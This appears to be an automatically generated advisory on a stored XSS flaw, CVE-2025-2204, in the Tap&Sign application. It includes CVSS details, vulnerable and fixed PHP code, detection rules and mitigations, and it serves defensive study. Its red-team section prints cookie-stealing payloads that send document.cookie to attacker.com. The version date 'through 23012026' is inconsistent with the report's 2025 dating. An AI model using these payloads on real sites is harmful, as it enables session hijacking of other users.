CVE-2025-2204

Executive Summary

CVE-2025-2204 is a stored Cross-Site Scripting (XSS) vulnerability in Tapandsign Technologies Software Inc.’s Tap&Sign application, affecting versions through 23012026. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the application’s interface. With a CVSS score of 4.7 (Medium), exploitation requires user interaction but can lead to session hijacking, data theft, or defacement. The vendor was contacted but did not respond, and no patch is currently available. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

Supply Chain & Package Security

Tap&Sign is a proprietary software solution, not distributed via public package registries (NPM, PyPI, Go, Ruby). Therefore, supply chain package security is not directly applicable. However, organizations using Tap&Sign should verify the integrity of their installation files and monitor for any unofficial patches or updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.7 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link or view malicious content.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and vendor unresponsiveness elevates the risk for organizations relying on Tap&Sign.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Tap&Sign application. The application fails to sanitize user input before rendering it in web pages. An attacker can inject malicious scripts via input fields (e.g., document names, comments, or signature fields). When other users view the affected page, the script executes in their browser context, potentially stealing session cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

Attack Flow:

1. Attacker identifies an input field that is not sanitized (e.g., a document title).
2. Attacker submits a payload like <script>alert('XSS')</script>.
3. The payload is stored in the application’s database.
4. When a victim views the document, the script executes.
5. The attacker can escalate to session hijacking or data exfiltration.

Root Cause: Lack of output encoding and input validation in the web page generation logic.

Vulnerable vs. Patched Code

Since no patch is available, we provide a conceptual comparison.

Vulnerable Code (PHP example):

<?php
$title = $_POST['title'];
// Directly output without sanitization
echo "<h1>$title</h1>";
?>

Patched Code (Conceptual):

<?php
$title = $_POST['title'];
// Sanitize using htmlspecialchars
echo "<h1>" . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . "</h1>";
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: Tap&Sign application (version through 23012026)
• Attacker: Kali Linux with Burp Suite
• Victim: Browser with JavaScript enabled

Exploitation Steps:

1. Identify a vulnerable input field (e.g., document title, comment box).
2. Inject a payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Submit the form.
4. Wait for a victim to view the page.
5. Capture the cookie on your attacker server.

Example Payload for Session Hijacking:

<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">

Blue Team

Detection & Prevention:

• Monitor for unusual input patterns (e.g., <script>, onerror, javascript:).
• Use Web Application Firewall (WAF) rules to block XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security scans for XSS vulnerabilities.

Hunting Queries:

• Search logs for %3Cscript%3E or <script> in user input fields.
• Monitor for outbound connections to unknown domains from the application.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Suspicious Referer headers pointing to Tap&Sign pages with injected scripts.
• File IOCs:
  • Log entries containing <script> tags or encoded variants.
  • Database records with JavaScript payloads in text fields.
• Behavioral IOCs:
  • Unexpected redirects to external sites.
  • Unusual JavaScript execution in the browser console.

Detection Engineering

YARA Rule

rule CVE_2025_2204_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Tap&Sign CVE-2025-2204"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2204"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-2204 XSS Attempt Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in HTTP requests to Tap&Sign application
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in documentation
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2204 XSS Payload Detected"; flow:to_server; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-2204 XSS onerror Detected"; content:"onerror="; nocase; http_client_body; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-2204 XSS onload Detected"; content:"onload="; nocase; http_client_body; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict input validation on all user-supplied fields. Reject or sanitize HTML/JavaScript characters.
2. Output Encoding: Use context-appropriate encoding (e.g., HTML entity encoding) when rendering user data.
3. Content Security Policy (CSP): Deploy CSP headers to restrict script sources:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Web Application Firewall (WAF): Enable XSS protection rules (e.g., ModSecurity CRS).
5. User Education: Train users to avoid clicking suspicious links or entering sensitive data on untrusted pages.

Long-Term Fix:

• Contact the vendor for an official patch. Since they are unresponsive, consider migrating to an alternative solution or implementing a custom patch.
• Conduct a full security audit of the application.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.